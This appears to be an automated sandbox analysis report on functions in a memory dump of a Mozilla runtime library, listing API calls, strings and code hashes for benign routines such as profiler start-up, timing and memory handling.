API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: db1c87e97889b794a70ced0dfe5091c0ac5ff665ea972de934b1c5b3fc965d5c
Instruction ID: 72a765ae6cba8869e3abad5b81ff1b647055843485d6ee90f6304c4d0a7770b4
Opcode Fuzzy Hash: db1c87e97889b794a70ced0dfe5091c0ac5ff665ea972de934b1c5b3fc965d5c
Instruction Fuzzy Hash: 9DC18D71A08B40DFEB05CF6DC44066ABBF5BFCA714F058A1DE9C497660E770A885CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2EC8C

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2ECA1
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CD2ECC5
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CD2ED19
CloseHandle.KERNEL32(?), ref: 6CD2ED28
free.MOZGLUE(00000000), ref: 6CD2ED2F
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CD2EC94

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 55a11852d460fa70712d198559ca3bb0c5c91ec44a551fe9a429d68e4738c1de
Instruction ID: da7981745ad8bf5a51949ca8099c16b52f0bee68aec455f32b9e7516f58d5c02
Opcode Fuzzy Hash: 55a11852d460fa70712d198559ca3bb0c5c91ec44a551fe9a429d68e4738c1de
Instruction Fuzzy Hash: 9A21B475600504ABEB009F66D808BAA377DEB4626DF104214FF1457FA1DB79A80ACBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD28ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CCEEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCEEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CD2B392,?,?,00000001), ref: 6CD291F4

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

Strings

marker-table, xrefs: 6CD2906C
data, xrefs: 6CD290E8
timeline-memory, xrefs: 6CD29088
timeline-fileio, xrefs: 6CD290A4
stack-chart, xrefs: 6CD290B2
name, xrefs: 6CD28F16
timeline-overview, xrefs: 6CD2907A
marker-chart, xrefs: 6CD2905E
timeline-ipc, xrefs: 6CD29096

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f9d5a768cb75b86ffce35225849716ea15fc2fad5af69738988ff7a004f4c4fa
Instruction ID: 7a972cac228535397182a06881646d1dcfbb26a804aaa226e0bb20e7a3c508f6
Opcode Fuzzy Hash: f9d5a768cb75b86ffce35225849716ea15fc2fad5af69738988ff7a004f4c4fa
Instruction Fuzzy Hash: A2B104B0A002099BDF04CF95C9917EEBBB5BF8430CF604029D602ABFA0D775A945CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD0C5A3
WideCharToMultiByte.KERNEL32 ref: 6CD0C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CD0C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CD0CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD0CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD0CAA5

Strings

(null), xrefs: 6CD0C596
0, xrefs: 6CD0D30A

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 9eb9a1594c0602dac71f075b94373013a10094a65a001b67ceab1ab070a9f9bc
Instruction ID: 1015be14b343094a84989ad5d640c800330a833c78367f4d59819c436676f951
Opcode Fuzzy Hash: 9eb9a1594c0602dac71f075b94373013a10094a65a001b67ceab1ab070a9f9bc
Instruction Fuzzy Hash: 7BA19A307083419FDB10EF2CC58875ABBE5AFC9758F04882DE99997662D731E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CCE350E
__Init_thread_footer.LIBCMT ref: 6CCE3522
__aulldiv.LIBCMT ref: 6CCE3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE3592

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

Strings

kernel32.dll, xrefs: 6CCE34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CCE3508

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 211fd44739ba4a60bcc7b16c0cf4d5f292208c7e0c01a3f4f369f4078c55c80c
Instruction ID: 29f256300580da0f48a8693f1635e4a44e00efef78e25ae7e1824776dfcde230
Opcode Fuzzy Hash: 211fd44739ba4a60bcc7b16c0cf4d5f292208c7e0c01a3f4f369f4078c55c80c
Instruction Fuzzy Hash: 3E317271B01605ABEF04DFB6C948BBA77BAFB4A304F144419E64597BB0E770A904CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CD24843,?), ref: 6CCE45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CD24843,?), ref: 6CCE468A
free.MOZGLUE(?,?,?,?,?,?,6CD24843,?), ref: 6CCE46C9
free.MOZGLUE(?), ref: 6CCE46EF
free.MOZGLUE(?), ref: 6CCE4712
free.MOZGLUE(?), ref: 6CCE4735
free.MOZGLUE(?), ref: 6CCE4758
free.MOZGLUE(?), ref: 6CCE477B
free.MOZGLUE(?), ref: 6CCE479E

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4e44497059a4e01020a1edcb4f368a9407eefc0539ae9b763f7d5524aa1fc6be
Instruction ID: 8c65bc91b924ab52c1c50fdea7d74d04a0f58f382b52ce319d5db480359bad50
Opcode Fuzzy Hash: 4e44497059a4e01020a1edcb4f368a9407eefc0539ae9b763f7d5524aa1fc6be
Instruction Fuzzy Hash: C0B1D271A001508FDB28DFADD89476D77A6AF4B328F184669E816DFB92F730D840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CD4AC52
CreateFileMappingW.KERNEL32 ref: 6CD4AC7D
GetSystemInfo.KERNEL32 ref: 6CD4AC98
MapViewOfFile.KERNEL32 ref: 6CD4ACB0
GetSystemInfo.KERNEL32 ref: 6CD4ACCD
MapViewOfFile.KERNEL32 ref: 6CD4AD05
UnmapViewOfFile.KERNEL32 ref: 6CD4AD1C
CloseHandle.KERNEL32 ref: 6CD4AD28
UnmapViewOfFile.KERNEL32 ref: 6CD4AD37
CloseHandle.KERNEL32 ref: 6CD4AD43
CloseHandle.KERNEL32 ref: 6CD4AD67

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0ba19db26816f726d50c3183f50609dd3d7a9cf2d35847cfbacba55a34e22054
Instruction ID: afc584ff7345c5441c033b7ca15eaea9c37f16683d632c3ac3a83034951fe4b8
Opcode Fuzzy Hash: 0ba19db26816f726d50c3183f50609dd3d7a9cf2d35847cfbacba55a34e22054
Instruction Fuzzy Hash: 413160B1A047059FEB00EF79D64826EBBF4BF85305F01892DEA8997251EB709458CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1EC1
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1EE1
EnterCriticalSection.KERNEL32(6CD6E744), ref: 6CCE1F38
LeaveCriticalSection.KERNEL32(6CD6E744), ref: 6CCE1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CCE1F83
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FC0
EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FE2
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCE2019

Strings

MOZ_CRASH(), xrefs: 6CCE2000

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 3f300225d28a71430dc4cf78144b941ecfe8af9cb66b782f5b74e9ba068b9fd1
Instruction ID: 76e532bc7f7bdba7e2adddb6e354993acfe7ad88b1793d06b332dc3c5f4f02d2
Opcode Fuzzy Hash: 3f300225d28a71430dc4cf78144b941ecfe8af9cb66b782f5b74e9ba068b9fd1
Instruction Fuzzy Hash: 2441A471B043159FEB009F6ACC84B6AB7B9EB4A345F040125FA059BB82E771D805CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF7EA7
malloc.MOZGLUE(00000001), ref: 6CCF7EB3

Part of subcall function 6CCFCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CCFCB49
Part of subcall function 6CCFCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CCFCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CCF7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CCF7F19
malloc.MOZGLUE(?), ref: 6CCF7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCF7F4D

Strings

d, xrefs: 6CCF7F89

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b6cf069495c4db5bef4009883181cc393ec1255489bea2fdde67b6c7549183b6
Instruction ID: 5aefb36e9b53b7f3a7f9dc5b173fbda58c8e3ef92db8feb74d6670bf16e174f9
Opcode Fuzzy Hash: b6cf069495c4db5bef4009883181cc393ec1255489bea2fdde67b6c7549183b6
Instruction Fuzzy Hash: 0C31F661E0438897FF019B69DC049FEB77CEF96208F445229ED595BA12FB30A5D8C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6CCF3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF3FDC
RtlAllocateHeap.NTDLL ref: 6CCF4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCF3CCC), ref: 6CCF40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCF3CCC), ref: 6CCF40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCF3CCC), ref: 6CCF4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCF3CCC), ref: 6CCF4157

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 083eaff242fac4f1ca32faa30e8c2d1996fcadfc0f4160d234ca84422550763a
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 17A182B1A00205CFEB80CF69C980759B7B5FF88304F294199D9199F752E771D987CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD39D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD38273), ref: 6CD39D65
free.MOZGLUE(6CD38273,?), ref: 6CD39D7C
free.MOZGLUE(?,?), ref: 6CD39D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CD39E0F
free.MOZGLUE(6CD3946B,?,?), ref: 6CD39E24
free.MOZGLUE(?,?,?), ref: 6CD39E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CD39EC8
free.MOZGLUE(6CD3946B,?,?,?), ref: 6CD39EDF
free.MOZGLUE(?,?,?,?), ref: 6CD39EF5

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b93f938468bae212092f64d197a0669bbfb65cbb8a4560e0927b3e721b9f142
Instruction ID: 7d9d176906a34e7e10136ffe08c0d2e55b8c11a64e5f185e96ceecb45d34143a
Opcode Fuzzy Hash: 4b93f938468bae212092f64d197a0669bbfb65cbb8a4560e0927b3e721b9f142
Instruction Fuzzy Hash: AE717BB090AB51CBD712CF18C48055AF3F5FF9A315B449619EC9E5BB22EB30E885CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CD3DDCF

Part of subcall function 6CD1FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD1FA4B

Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD390FF
Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD39108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DE0D
free.MOZGLUE(00000000), ref: 6CD3DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD2DEFD,?,6CCF4A68), ref: 6CD3DF32

Part of subcall function 6CD3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD3DB86
Part of subcall function 6CD3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD3DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD2DEFD,?,6CCF4A68), ref: 6CD3DF65
free.MOZGLUE(?), ref: 6CD3DF80

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 822d9fbb354d2264a6f72b731b210a0a46491c1bc4c1907cdd1eb3bf38631e0a
Instruction ID: cdcfdeda7eebe2548691e6f23397f0004beac8873009dc40d25cd5fd9623b783
Opcode Fuzzy Hash: 822d9fbb354d2264a6f72b731b210a0a46491c1bc4c1907cdd1eb3bf38631e0a
Instruction Fuzzy Hash: D851D472611620DBD7119F29C8802AEB7B6AF93308F95111DD99E63B60DB31F819CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD45D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45DC9
std::_Facet_Register.LIBCPMT ref: 6CD45DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45E45

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: e68f3e131b410ff8ee4c2de222e3dd8c72554634315f990a31e3a76f97f9056b
Instruction ID: e5ae009b31e412dd169a60ba50b3df44829dfe66dccb4d8feff662aad4d14cf0
